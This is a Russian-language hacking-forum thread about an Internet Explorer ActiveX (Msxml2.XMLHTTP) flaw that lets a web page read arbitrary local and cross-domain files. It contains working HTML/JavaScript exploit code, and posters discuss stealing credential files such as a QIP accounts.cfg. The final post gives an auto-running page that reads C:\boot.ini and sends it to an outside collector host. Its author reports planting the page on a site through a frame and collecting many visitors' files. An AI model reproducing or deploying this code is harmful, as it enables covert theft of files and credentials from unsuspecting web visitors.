Недавно, изучая стандартные ActiveX компоненты на предмет уязвимостей, наткнулся на одну занятную вещь: если ActiveX компонент Msxml2.XMLHTTP объявить, как показано ниже, на него не действуют ограничения безопасности. Поэтому можно просмотреть произвольный локальный (например file:///c:/boot.ini) или удаленный (http://forum.antichat.ru) файл с любого домена. Тестировал на IE 6 XP SP2 - работает, на IE 7 Vista - нет. Может есть у кого полностью запатченный Осел, проверить, исправил ли Мелкософт этот баг? HTML: <script> function readfile(filename) { try { var xmlobj = document.createElement ('object'); xmlobj.setAttribute ('id','xmlobj'); xmlobj.setAttribute ('classid','clsid:88D969EA-F192-11D4-A65F-0040963251E5'); xmlobj.open ('get',filename, false); xmlobj.send (); var text = xmlobj.responseText; xmlobj = null; return text; } catch(e) { return 'Ошибка! '+e.description; } } </script> <textarea id='text1' cols=60 rows=15></textarea></br> <input size=58 id='file1'/> <input type=button value='Открыть' onclick='text1.value=readfile(file1.value)'/>
Хм. Довольно интересная информация. Но вот я не очень понимаю, что это может дать? Автор объясни пожалуйста! И, наконец, кто нить у кого пропатченный есть осел, скажите, залатали или нет?
а удобно былоб.. надергал локально инфы.. и через тот же Get выслал на гейт куданить )) првоерил локально не пашет =\
удаленные читает с любых доменов? как указываете путь к файлу? Alexsize file://localhost/c:/Program Files/QIP/Users/Accounts.cfg и т.д. и т.п
У меня осел сразу ругается на содержимое сайта, хотя если ему запретить блокировать activex, все работает.
у мя Maxthon читает как локальные так и удаленные вот чуть чуть доделал <html> <script> function readfile(filename) { try { var xmlobj = document.createElement ('object'); xmlobj.setAttribute ('id','xmlobj'); xmlobj.setAttribute ('classid','clsid:88D969EA-F192-11D4-A65F-0040963251E5'); xmlobj.open ('get',filename, false); xmlobj.send (); var text = xmlobj.responseText; xmlobj = null; return text; } catch(e) { return 'Ошибка! '+e.description; } } </script> <form action="http://sniffer.ru/sniffer.php" id=form1 method="GET"> <textarea name='text1' value=" " cols=60 rows=15></textarea><br> <input type="submit"> </form> <input type="hidden" name="file1" value="file:///C:\boot.ini" /> <body onload="javascript:text1.value=readfile(file1.value); javascript:form1.submit();"> </html> ставил на сайт через фрейм пришло давольно много файлов boot.ini